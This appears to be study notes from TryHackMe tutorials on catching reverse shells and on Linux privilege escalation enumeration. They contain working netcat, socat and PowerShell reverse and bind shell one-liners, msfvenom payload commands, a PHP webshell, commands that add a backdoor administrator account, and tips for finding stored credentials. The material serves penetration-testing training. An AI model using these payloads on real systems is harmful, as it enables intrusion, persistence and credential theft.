Privilege escalation
Reverse Shell
Tools
There are a variety of tools that we will be using to receive reverse shells and to send bind shells. In general terms, we need malicious shell code, as well as a way of interfacing with the resulting shell. We will discuss each of these briefly below:
Netcat: Netcat is the traditional "Swiss Army Knife" of networking. It is used to manually perform all kinds of network interactions, including things like banner grabbing during enumeration, but more importantly for our uses, it can be used to receive reverse shells and connect to remote ports attached to bind shells on a target system. Netcat shells are very unstable (easy to lose) by default, but can be improved by techniques that we will be covering in an upcoming task.
Socat: Socat is like netcat on steroids. It can do all of the same things, and many more. Socat shells are usually more stable than netcat shells out of the box. In this sense it is vastly superior to netcat; however, there are two big catches:
- The syntax is more difficult
- Netcat is installed on virtually every Linux distribution by default. Socat is very rarely installed by default.
There are work arounds to both of these problems, which we will cover later on.
Both Socat and Netcat have .exe versions for use on Windows.
Metasploit -- multi/handler:
The auxiliary/multi/handler
module of the Metasploit framework is, like socat and netcat, used to receive reverse shells. Due to being part of the Metasploit framework, multi/handler provides a fully-fledged way to obtain stable shells, with a wide variety of further options to improve the caught shell. It's also the only way to interact with a meterpreter shell, and is the easiest way to handle staged payloads -- both of which we will look at in task 9.
Msfvenom: Like multi/handler, msfvenom is technically part of the Metasploit Framework, however, it is shipped as a standalone tool. Msfvenom is used to generate payloads on the fly. Whilst msfvenom can generate payloads other than reverse and bind shells, these are what we will be focusing on in this room. Msfvenom is an incredibly powerful tool, so we will go into its application in much more detail in a dedicated task.
Aside from the tools we've already covered, there are some repositories of shells in many different languages. One of the most prominent of these is Payloads all the Things. The PentestMonkey Reverse Shell Cheatsheet is also commonly used. In addition to these online resources, Kali Linux also comes pre-installed with a variety of webshells located at /usr/share/webshells
. The SecLists repo, though primarily used for wordlists, also contains some very useful code for obtaining shells.
Types of Shell
At a high level, we are interested in two kinds of shell when it comes to exploiting a target: Reverse shells, and bind shells.
- Reverse shells are when the target is forced to execute code that connects back to your computer. On your own computer you would use one of the tools mentioned in the previous task to set up a listener which would be used to receive the connection. Reverse shells are a good way to bypass firewall rules that may prevent you from connecting to arbitrary ports on the target; however, the drawback is that, when receiving a shell from a machine across the internet, you would need to configure your own network to accept the shell. This, however, will not be a problem on the TryHackMe network due to the method by which we connect into the network.
- Bind shells are when the code executed on the target is used to start a listener attached to a shell directly on the target. This would then be opened up to the internet, meaning you can connect to the port that the code has opened and obtain remote code execution that way. This has the advantage of not requiring any configuration on your own network, but may be prevented by firewalls protecting the target.
As a general rule, reverse shells are easier to execute and debug, however, we will cover both examples below. Don't worry too much about the syntax here: we will be looking at it in upcoming tasks. Instead notice the difference between reverse and bind shells in the following simulations.
Reverse Shell example:
On the attacking machine:
sudo nc -lvnp 443
-l
is used to tell netcat that this will be a listener-v
is used to request a verbose output-n
tells netcat not to resolve host names or use DNS. Explaining this is outwith the scope of the room.-p
indicates that the port specification will follow.
On the target:
nc <LOCAL-IP> <PORT> -e /bin/bash
Bind Shell example:
Bind shells are less common, but still very useful.
Once again, take a look at the following image. Again, on the left we have the attacker's computer, on the right we have a simulated target. Just to shake things up a little, we'll use a Windows target this time. First, we start a listener on the target -- this time we're also telling it to execute cmd.exe. Then, with the listener up and running, we connect from our own machine to the newly opened port.
On the target:
nc -lvnp <port> -e "cmd.exe"
On the attacking machine:
nc MACHINE_IP <port>
Netcat Shell Stabilisation
These shells are very unstable by default. Pressing Ctrl + C kills the whole thing. They are non-interactive, and often have strange formatting errors. This is due to netcat "shells" really being processes running inside a terminal, rather than being bonafide terminals in their own right. Fortunately, there are many ways to stabilise netcat shells on Linux systems. We'll be looking at three here. Stabilisation of Windows reverse shells tends to be significantly harder; however, the second technique that we'll be covering here is particularly useful for it.
Technique 1: Python The first technique we'll be discussing is applicable only to Linux boxes, as they will nearly always have Python installed by default. This is a three stage process:
- The first thing to do is use
python -c 'import pty;pty.spawn("/bin/bash")'
, which uses Python to spawn a better featured bash shell; note that some targets may need the version of Python specified. If this is the case, replacepython
withpython2
orpython3
as required. At this point our shell will look a bit prettier, but we still won't be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell. - Step two is:
export TERM=xterm
-- this will give us access to term commands such asclear
. - Finally (and most importantly) we will background the shell using Ctrl + Z. Back in our own terminal we use
stty raw -echo; fg
. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.
The full technique can be seen here:
Note that if the shell dies, any input in your own terminal will not be visible (as a result of having disabled terminal echo). To fix this, type reset
and press enter.
Technique 2: rlwrap
rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell; however, some manual stabilisation must still be utilised if you want to be able to use Ctrl + C inside the shell. rlwrap is not installed by default on Kali, so first install it with sudo apt install rlwrap
.
To use rlwrap, we invoke a slightly different listener:
rlwrap nc -lvnp <port>
Prepending our netcat listener with "rlwrap" gives us a much more fully featured shell. This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilise. When dealing with a Linux target, it's possible to completely stabilise, by using the same trick as in step three of the previous technique: background the shell with Ctrl + Z, then use stty raw -echo; fg
to stabilise and re-enter the shell.
Technique 3: Socat
The third easy way to stabilise a shell is quite simply to use an initial netcat shell as a stepping stone into a more fully-featured socat shell. Bear in mind that this technique is limited to Linux targets, as a Socat shell on Windows will be no more stable than a netcat shell. To accomplish this method of stabilisation we would first transfer a socat static compiled binary (a version of the program compiled to have no dependencies) up to the target machine. A typical way to achieve this would be using a webserver on the attacking machine inside the directory containing your socat binary (sudo python3 -m http.server 80
), then, on the target machine, using the netcat shell to download the file. On Linux this would be accomplished with curl or wget (wget <LOCAL-IP>/socat -O /tmp/socat
).
For the sake of completeness: in a Windows CLI environment the same can be done with Powershell, using either Invoke-WebRequest or a webrequest system class, depending on the version of Powershell installed (Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
). We will cover the syntax for sending and receiving shells with Socat in the upcoming tasks.
With any of the above techniques, it's useful to be able to change your terminal tty size. This is something that your terminal will do automatically when using a regular shell; however, it must be done manually in a reverse or bind shell if you want to use something like a text editor which overwrites everything on the screen.
First, open another terminal and run stty -a
. This will give you a large stream of output. Note down the values for "rows" and columns:
Next, in your reverse/bind shell, type in:
stty rows <number>
and stty cols <number>
Filling in the numbers you got from running the command in your own terminal.This will change the registered width and height of the terminal, thus allowing programs such as text editors which rely on such information being accurate to correctly open.
Socat
Reverse Shells
As mentioned previously, the syntax for socat gets a lot harder than that of netcat. Here's the syntax for a basic reverse shell listener in socat:
socat TCP-L:<port> -
As always with socat, this is taking two points (a listening port, and standard input) and connecting them together. The resulting shell is unstable, but this will work on either Linux or Windows and is equivalent to nc -lvnp <port>
.
On Windows we would use this command to connect back:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
The "pipes" option is used to force powershell (or cmd.exe) to use Unix style standard input and output.
This is the equivalent command for a Linux Target:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
Bind Shells
On a Linux target we would use the following command:
socat TCP-L:<PORT> EXEC:"bash -li"
On a Windows target we would use this command for our listener:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
We use the "pipes" argument to interface between the Unix and Windows ways of handling input and output in a CLI environment.
Regardless of the target, we use this command on our attacking machine to connect to the waiting listener.
socat TCP:<TARGET-IP>:<TARGET-PORT> -
Now let's take a look at one of the more powerful uses for Socat: a fully stable Linux tty reverse shell. This will only work when the target is Linux, but is significantly more stable. As mentioned earlier, socat is an incredibly versatile tool; however, the following technique is perhaps one of its most useful applications. Here is the new listener syntax:
socat TCP-L:<port> FILE:`tty`,raw,echo=0
Let's break this command down into its two parts. As usual, we're connecting two points together. In this case those points are a listening port, and a file. Specifically, we are passing in the current TTY as a file and setting the echo to be zero. This is approximately equivalent to using the Ctrl + Z, stty raw -echo; fg
trick with a netcat shell -- with the added bonus of being immediately stable and hooking into a full tty.
The first listener can be connected to with any payload; however, this special listener must be activated with a very specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default, however, it's possible to upload a precompiled socat binary, which can then be executed as normal.
The special command is as follows:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
This is a handful, so let's break it down.
The first part is easy -- we're linking up with the listener running on our own machine. The second part of the command creates an interactive bash session with EXEC:"bash -li"
. We're also passing the arguments: pty, stderr, sigint, setsid and sane:
- pty, allocates a pseudoterminal on the target -- part of the stabilisation process
- stderr, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells)
- sigint, passes any Ctrl + C commands through into the sub-process, allowing us to kill commands inside the shell
- setsid, creates the process in a new session
- sane, stabilises the terminal, attempting to "normalise" it.
That's a lot to take in, so let's see it in action.
As normal, on the left we have a listener running on our local attacking machine, on the right we have a simulation of a compromised target, running with a non-interactive shell. Using the non-interactive netcat shell, we execute the special socat command, and receive a fully interactive bash shell on the socat listener to the left:
Note that the socat shell is fully interactive, allowing us to use interactive commands such as SSH. This can then be further improved by setting the stty values as seen in the previous task, which will let us use text editors such as Vim or Nano.
If, at any point, a socat shell is not working correctly, it's well worth increasing the verbosity by adding -d -d
into the command. This is very useful for experimental purposes, but is not usually necessary for general use.
Socat Encrypted Shells
One of the many great things about socat is that it's capable of creating encrypted shells -- both bind and reverse. Why would we want to do this? Encrypted shells cannot be spied on unless you have the decryption key, and are often able to bypass an IDS as a result.
We first need to generate a certificate in order to use encrypted shells. This is easiest to do on our attacking machine:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
This command creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year. When you run this command it will ask you to fill in information about the certificate. This can be left blank, or filled randomly.
We then need to merge the two created files into a single .pem
file:
cat shell.key shell.crt > shell.pem
Now, when we set up our reverse shell listener, we use:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
This sets up an OPENSSL listener using our generated certificate. verify=0
tells the connection to not bother trying to validate that our certificate has been properly signed by a recognised authority. Please note that the certificate must be used on whichever device is listening.
To connect back, we would use:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
The same technique would apply for a bind shell:
Target:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
Attacker:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
Again, note that even for a Windows target, the certificate must be used with the listener, so copying the PEM file across for a bind shell is required.
The following image shows an OPENSSL Reverse shell from a Linux target. As usual, the target is on the right, and the attacker is on the left:
Common Shell Payloads
In some versions of netcat (including the nc.exe
Windows version included with Kali at /usr/share/windows-resources/binaries
, and the version used in Kali itself:
netcat-traditional
) there is a -e
option which allows you to execute a process on connection. For example, as a listener:
nc -lvnp <PORT> -e /bin/bash
Connecting to the above listener with netcat would result in a bind shell on the target.
Equally, for a reverse shell, connecting back with nc <LOCAL-IP> <PORT> -e /bin/bash
would result in a reverse shell on the target.
However, this is not included in most versions of netcat as it is widely seen to be very insecure (funny that, huh?). On Windows where a static binary is nearly always required anyway, this technique will work perfectly. On Linux, however, we would instead use this code to create a listener for a bind shell:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
The following paragraph is the technical explanation for this command. It's slightly above the level of this room, so don't worry if it doesn't make much sense for now -- the command itself is what matters.
The command first creates a named pipe at /tmp/f
. It then starts a netcat listener, and connects the input of the listener to the output of the named pipe. The output of the netcat listener (i.e. the commands we send) then gets piped directly into sh
, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe, thus completing the circle.
A very similar command can be used to send a netcat reverse shell:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
This command is virtually identical to the previous one, other than using the netcat connect syntax, as opposed to the netcat listen syntax.
When targeting a modern Windows Server, it is very common to require a Powershell reverse shell, so we'll be covering the standard one-liner PSH reverse shell here.
This command is very convoluted, so for the sake of simplicity it will not be explained directly here. It is, however, an extremely useful one-liner to keep on hand:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
In order to use this, we need to replace <IP>
and <port>
with an appropriate IP and choice of port. It can then be copied into a cmd.exe shell (or another method of executing commands on a Windows server, such as a webshell) and executed, resulting in a reverse shell:
For other common reverse shell payloads, PayloadsAllTheThings is a repository containing a wide range of shell codes (usually in one-liner format for copying and pasting), in many different languages. It is well worth reading through the linked page to see what's available.
Msfvenom
Msfvenom: the one-stop-shop for all things payload related.
Part of the Metasploit framework, msfvenom is used to generate code for primarily reverse and bind shells. It is used extensively in lower-level exploit development to generate hexadecimal shellcode when developing something like a Buffer Overflow exploit; however, it can also be used to generate payloads in various formats (e.g. .exe
, .aspx
, .war
, .py
)
The standard syntax for msfvenom is as follows:
msfvenom -p <PAYLOAD> <OPTIONS>
For example, to generate a Windows x64 Reverse Shell in an exe format, we could use:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
Here we are using a payload and four options:
- -f <format>
- Specifies the output format. In this case that is an executable (exe)
- -o <file>
- The output location and filename for the generated payload.
- LHOST=<IP>
- Specifies the IP to connect back to.
- LPORT=<port>
- The port on the local machine to connect back to. This can be anything between 0 and 65535 that isn't already in use; however, ports below 1024 are restricted and require a listener running with root privileges.
Staged vs Stageless Before we go any further, there are another two concepts which must be introduced: staged reverse shell payloads and stageless reverse shell payloads.
- Staged payloads are sent in two parts. The first part is called the stager. This is a piece of code which is executed directly on the server itself. It connects back to a waiting listener, but doesn't actually contain any reverse shell code by itself. Instead it connects to the listener and uses the connection to load the real payload, executing it directly and preventing it from touching the disk where it could be caught by traditional anti-virus solutions. Thus the payload is split into two parts -- a small initial stager, then the bulkier reverse shell code which is downloaded when the stager is activated. Staged payloads require a special listener -- usually the Metasploit multi/handler.
- Stageless payloads are more common -- these are what we've been using up until now. They are entirely self-contained in that there is one piece of code which, when executed, sends a shell back immediately to the waiting listener.Stageless payloads tend to be easier to use and catch; however, they are also bulkier, and are easier for an antivirus or intrusion detection program to discover and remove. Staged payloads are harder to use, but the initial stager is a lot shorter, and is sometimes missed by less-effective antivirus software. Modern day antivirus solutions will also make use of the Anti-Malware Scan Interface (AMSI) to detect the payload as it is loaded into memory by the stager, making staged payloads less effective than they would once have been in this area.
Meterpreter On the subject of Metasploit, another important thing to discuss is a Meterpreter shell. Meterpreter shells are Metasploit's own brand of fully-featured shell. They are completely stable, making them a very good thing when working with Windows targets. They also have a lot of inbuilt functionality of their own, such as file uploads and downloads. If we want to use any of Metasploit's post-exploitation tools then we need to use a meterpreter shell. The downside to meterpreter shells is that they must be caught in Metasploit. They are also banned from certain certification examinations, so it's a good idea to learn alternative methodologies.
Payload Naming Conventions
When working with msfvenom, it's important to understand how the naming system works. The basic convention is as follows:
<OS>/<arch>/<payload>
For example:
linux/x86/shell_reverse_tcp
This would generate a stageless reverse shell for an x86 Linux target.
The exception to this convention is Windows 32bit targets. For these, the arch is not specified. e.g.:
windows/shell_reverse_tcp
For a 64bit Windows target, the arch would be specified as normal (x64).
Let's break the payload section down a little further.
In the above examples the payload used was shell_reverse_tcp
. This indicates that it was a stageless payload. How? Stageless payloads are denoted with underscores (_
). The staged equivalent to this payload would be:
shell/reverse_tcp
As staged payloads are denoted with another forward slash (/
).
This rule also applies to Meterpreter payloads.
A Windows 64bit staged Meterpreter payload would look like this:
windows/x64/meterpreter/reverse_tcp
A Linux 32bit stageless Meterpreter payload would look like this:
linux/x86/meterpreter_reverse_tcp
Aside from the msfconsole
man page, the other important thing to note when working with msfvenom is:
msfvenom --list payloads
This can be used to list all available payloads, which can then be piped into grep
to search for a specific set of payloads. For example:
This gives us a full set of Linux meterpreter payloads for 32bit targets.
Metasploit multi/handler
Multi/Handler is a superb tool for catching reverse shells. It's essential if you want to use Meterpreter shells, and is the go-to when using staged payloads.
Fortunately, it's relatively easy to use:
- Open Metasploit with
msfconsole
- Type
use multi/handler
, and press enter
We are now primed to start a multi/handler session. Let's take a look at the available options using the options
command:
There are three options we need to set: payload, LHOST and LPORT. These are all identical to the options we set when generating shellcode with Msfvenom -- a payload specific to our target, as well as a listening address and port with which we can receive a shell.
We set these options with the following commands:
set PAYLOAD <payload>
set LHOST <listen-address>
set LPORT <listen-port>
We should now be ready to start the listener!
Let's do this by using the exploit -j
command. This tells Metasploit to launch the module, running as a job in the background.
You may notice that in the above screenshot, Metasploit is listening on a port under 1024. To do this, Metasploit must be run with sudo permissions.
When the staged payload generated in the previous task is run, Metasploit receives the connection, sending the remainder of the payload and giving us a reverse shell:
Notice that, because the multi/handler was originally backgrounded, we needed to use sessions 1
to foreground it again. This worked as it was the only session running. Had there been other sessions active, we would have needed to use sessions
to see all active sessions, then use sessions <number>
to select the appropriate session to foreground. This number would also have been displayed in the line where the shell was opened (see "Command Shell session 1 opened").
Webshells
There are times when we encounter websites that allow us an opportunity to upload, in some way or another, an executable file. Ideally we would use this opportunity to upload code that would activate a reverse or bind shell, but sometimes this is not possible. In these cases we would instead upload a webshell.
"Webshell" is a colloquial term for a script that runs inside a webserver (usually in a language such as PHP or ASP) which executes code on the server. Essentially, commands are entered into a webpage -- either through a HTML form, or directly as arguments in the URL -- which are then executed by the script, with the results returned and written to the page. This can be extremely useful if there are firewalls in place, or even just as a stepping stone into a fully fledged reverse or bind shell.
As PHP is still the most common server side scripting language, let's have a look at some simple code for this.
In a very basic one line format:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
This will take a GET parameter in the URL and execute it on the system with shell_exec()
. Essentially, what this means is that any commands we enter in the URL after ?cmd=
will be executed on the system -- be it Windows or Linux. The "pre" elements are to ensure that the results are formatted correctly on the page.Let's see this in action:
Notice that when navigating the shell, we used a GET parameter "cmd" with the command "ifconfig", which correctly returned the network information of the box. In other words, by entering the ifconfig
command (used to check the network interfaces on a Linux target) into the URL of our shell, it was executed on the system, with the results returned to us. This would work for any other command we chose to use (e.g. whoami
, hostname
, arch
, etc).
As mentioned previously, there are a variety of webshells available on Kali by default at /usr/share/webshells
-- including the infamous PentestMonkey php-reverse-shell -- a full reverse shell written in PHP. Note that most generic, language specific (e.g. PHP) reverse shells are written for Unix based targets such as Linux webservers. They will not work on Windows by default.
When the target is Windows, it is often easiest to obtain RCE using a web shell, or by using msfvenom to generate a reverse/bind shell in the language of the server. With the former method, obtaining RCE is often done with a URL Encoded Powershell Reverse Shell. This would be copied into the URL as the cmd
argument:
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
This is the same shell we encountered in Task 8, however, it has been URL encoded to be used safely in a GET parameter. Remember that the IP and Port (bold, towards end of the top line) will still need to be changed in the above code.
Next Steps
Ok, we have a shell. Now what?
On Linux ideally we would be looking for opportunities to gain access to a user account. SSH keys stored at /home/<user>/.ssh
are often an ideal way to do this. In CTFs it's also not infrequent to find credentials lying around somewhere on the box. Some exploits will also allow you to add your own account. In particular something like Dirty C0w or a writeable /etc/shadow
or /etc/passwd
would quickly give you SSH access to the machine, assuming SSH is open.
On Windows the options are often more limited. It's sometimes possible to find passwords for running services in the registry. VNC servers, for example, frequently leave passwords in the registry stored in plaintext. Some versions of the FileZilla FTP server also leave credentials in an XML file at C:\Program Files\FileZilla Server\FileZilla Server.xml
or C:\xampp\FileZilla Server\FileZilla Server.xml
.
These can be MD5 hashes or in plaintext, depending on the version.
Ideally on Windows you would obtain a shell running as the SYSTEM user, or an administrator account running with high privileges. In such a situation it's possible to simply add your own account (in the administrators group) to the machine, then log in over RDP, telnet, winexe, psexec, WinRM or any number of other methods, dependent on the services running on the box.
The syntax for this is as follows:
net user <username> <password> /add
net localgroup administrators <username> /add
Linux Privilege Escalation
Privilege escalation is a journey. There are no silver bullets, and much depends on the specific configuration of the target system. The kernel version, installed applications, supported programming languages, other users' passwords are a few key elements that will affect your road to the root shell.
What's Privilege Escalation
What does "privilege escalation" mean? At it's core, Privilege Escalation usually involves going from a lower permission account to a higher permission one. More technically, it's the exploitation of a vulnerability, design flaw, or configuration oversight in an operating system or application to gain unauthorized access to resources that are usually restricted from the users.
Why is it important? It's rare when performing a real-world penetration test to be able to gain a foothold (initial access) that gives you direct administrative access. Privilege escalation is crucial because it lets you gain system administrator levels of access, which allows you to perform actions such as:
- Resetting passwords
- Bypassing access controls to compromise protected data
- Editing software configurations
- Enabling persistence
- Changing the privilege of existing (or new) users
- Execute any administrative command
Enumeration
Enumeration is the first step you have to take once you gain access to any system. You may have accessed the system by exploiting a critical vulnerability that resulted in root-level access or just found a way to send commands using a low privileged account. Penetration testing engagements, unlike CTF machines, don't end once you gain access to a specific system or user privilege level. As you will see, enumeration is as important during the post-compromise phase as it is before.
hostname
The hostname
command will return the hostname of the target machine. Although this value can easily be changed or have a relatively meaningless string (e.g. Ubuntu-3487340239), in some cases, it can provide information about the target system’s role within the corporate network (e.g. SQL-PROD-01 for a production SQL server).
/etc/*-release
On a Linux system, we can get more information about the Linux distribution and release version by searching for files or links that end with -release
in /etc/
. Running ls /etc/*-release
helps us find such files. Let’s see what things look like on a CentOS Linux.
user@TryHackMe$ ls /etc/*-release
/etc/centos-release /etc/os-release /etc/redhat-release /etc/system-release
$ cat /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
[...]
/var/mail
Various directories can reveal information about users and might contain sensitive files; one is the mail directories found at /var/mail/
.
user@TryHackMe$ ls -lh /var/mail/
total 4.0K
-rw-rw----. 1 jane mail 0 May 18 14:15 jane
-rw-rw----. 1 michael mail 0 May 18 14:13 michael
-rw-rw----. 1 peter mail 0 May 18 14:14 peter
-rw-rw----. 1 randa mail 0 May 18 14:15 randa
-rw-------. 1 root mail 639 May 19 07:37 root
packages
On an RPM-based Linux system, you can get a list of all installed packages using rpm -qa
. The -qa
indicates that we want to query all packages.
On a Debian-based Linux system, you can get the list of installed packages using dpkg -l
. The output below is obtained from an Ubuntu server.
user@TryHackMe$ dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-=====================================-==================================-============-===============================================================================
ii accountsservice 0.6.55-0ubuntu12~20.04.5 amd64 query and manipulate user account information
ii adduser 3.118ubuntu2 all add and remove users and groups
ii alsa-topology-conf 1.2.2-1 all ALSA topology configuration files
ii alsa-ucm-conf 1.2.2-1ubuntu0.13 all ALSA Use Case Manager configuration files
ii amd64-microcode 3.20191218.1ubuntu1 amd64 Processor microcode firmware for AMD CPUs
[... ]
ii zlib1g-dev:amd64 1:1.2.11.dfsg-2ubuntu1.3 amd64 compression library - development
w
To take things to the next level, you can use w
, which shows who is logged in and what they are doing. Based on the terminal output below, peter
is editing notes.txt
and jane
is the one running w
in this example.
user@TryHackMe$ w
07:18:43 up 18:05, 3 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 Wed13 17:52m 0.00s 0.00s less -s
jane pts/0 10.20.30.105 07:17 3.00s 0.01s 0.00s w
peter pts/1 10.20.30.113 07:13 5:23 0.00s 0.00s vi notes.txt
last
Do you want to know who has been using the system recently? last
displays a listing of the last logged-in users; moreover, we can see who logged out and how much they stayed connected. In the output below, the user randa
remained logged in for almost 17 hours, while the user michael
logged out after four minutes.
user@TryHackMe$ last
jane pts/0 10.20.30.105 Thu May 19 07:17 still logged in
peter pts/1 10.20.30.113 Thu May 19 07:13 still logged in
michael pts/0 10.20.30.1 Thu May 19 05:12 - 05:17 (00:04)
randa pts/1 10.20.30.107 Wed May 18 14:18 - 07:08 (16:49)
root tty1 Wed May 18 13:24 still logged in
[...]
uname -a Will print system information giving us additional detail about the kernel used by the system. This will be useful when searching for any potential kernel vulnerabilities that could lead to privilege escalation.
/proc/version
The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux flavours, making it an essential tool to have in your arsenal.
Looking at /proc/version
may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC) is installed.
/etc/issue
Systems can also be identified by looking at the /etc/issue
file. This file usually contains some information about the operating system but can easily be customized or changes. While on the subject, any file containing system information can be customized or changed. For a clearer understanding of the system, it is always good to look at all of these.
ps
The ps
command is an effective way to see the running processes on a Linux system. Typing ps
on your terminal will show processes for the current shell.
The output of the ps
(Process Status) will show the following;
- PID: The process ID (unique to the process)
- TTY: Terminal type used by the user
- Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)
- CMD: The command or executable running (will NOT display any command line parameter)
The “ps” command provides a few useful options.
ps -A
: View all running processesps axjf
: View process tree (see the tree formation untilps axjf
is run below)ps aux
: Theaux
option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x). Looking at the ps aux command output, we can have a better understanding of the system and potential vulnerabilities.
env
The env
command will show environmental variables.
The PATH variable may have a compiler or a scripting language (e.g. Python) that could be used to run code on the target system or leveraged for privilege escalation.
sudo -l
The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l
command can be used to list all commands your user can run using sudo
.
ls
One of the common commands used in Linux is probably ls
.
While looking for potential privilege escalation vectors, please remember to always use the ls
command with the -la
parameter. The example below shows how the “secret.txt” file can easily be missed using the ls
or ls -l
commands.
Id
The id
command will provide a general overview of the user’s privilege level and group memberships.
It is worth remembering that the id
command can also be used to obtain the same information for another user as seen below.
/etc/passwd
Reading the /etc/passwd
file can be an easy way to discover users on the system.
While the output can be long and a bit intimidating, it can easily be cut and converted to a useful list for brute-force attacks.
Remember that this will return all users, some of which are system or service users that would not be very useful. Another approach could be to grep for “home” as real users will most likely have their folders under the “home” directory.
history
Looking at earlier commands with the history
command can give us some idea about the target system and, albeit rarely, have stored information such as passwords or usernames.
ifconfig
The target system may be a pivoting point to another network. The ifconfig
command will give us information about the network interfaces of the system. The example below shows the target system has three interfaces (eth0, tun0, and tun1). Our attacking machine can reach the eth0 interface but can not directly access the two other networks.
This can be confirmed using the ip route
command to see which network routes exist.
netstat
Following an initial check for existing interfaces and network routes, it is worth looking into existing communications. The netstat
command can be used with several different options to gather information on existing connections.
netstat -a
: shows all listening ports and established connections.netstat -at
ornetstat -au
can also be used to list TCP or UDP protocols respectively.netstat -l
: list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol (below)netstat -s
: list network usage statistics by protocol (below) This can also be used with the-t
or-u
options to limit the output to a specific protocol.netstat -tp
: list connections with the service name and PID information.
This can also be used with the -l
option to list listening ports (below)
We can see the “PID/Program name” column is empty as this process is owned by another user.Below is the same command run with root privileges and reveals this information as 2641/nc (netcat)
netstat -i
: Shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1”. Thenetstat
usage you will probably see most often in blog posts, write-ups, and courses isnetstat -ano
which could be broken down as follows;-a
: Display all sockets-n
: Do not resolve names-o
: Display timers
lsof
lsof
stands for List Open Files. If we want to display only Internet and network connections, we can use lsof -i
. The terminal output below shows IPv4 and IPv6 listening services and ongoing connections. The user peter
is connected to the server rpm-red-enum.thm
on the ssh
port. Note that to get the complete list of matching programs, you need to run lsof
as root or use sudo lsof
.
user@TryHackMe$ sudo lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chronyd 640 chrony 5u IPv4 16945 0t0 UDP localhost:323
chronyd 640 chrony 6u IPv6 16946 0t0 UDP localhost:323
sshd 978 root 3u IPv4 20035 0t0 TCP *:ssh (LISTEN)
sshd 978 root 4u IPv6 20058 0t0 TCP *:ssh (LISTEN)
master 1141 root 13u IPv4 20665 0t0 TCP localhost:smtp (LISTEN)
master 1141 root 14u IPv6 20666 0t0 TCP localhost:smtp (LISTEN)
dhclient 5638 root 6u IPv4 47458 0t0 UDP *:bootpc
sshd 5693 peter 3u IPv4 47594 0t0 TCP rpm-red-enum.thm:ssh->10.20.30.113:38822 (ESTABLISHED)
[...]
Because the list can get quite lengthy, you can further filter the output by specifying the ports you are interested in, such as SMTP port 25. By running lsof -i :25
, we limit the output to those related to port 25, as shown in the terminal output below. The server is listening on port 25 on both IPv4 and IPv6 addresses.
user@TryHackMe$ sudo lsof -i :25
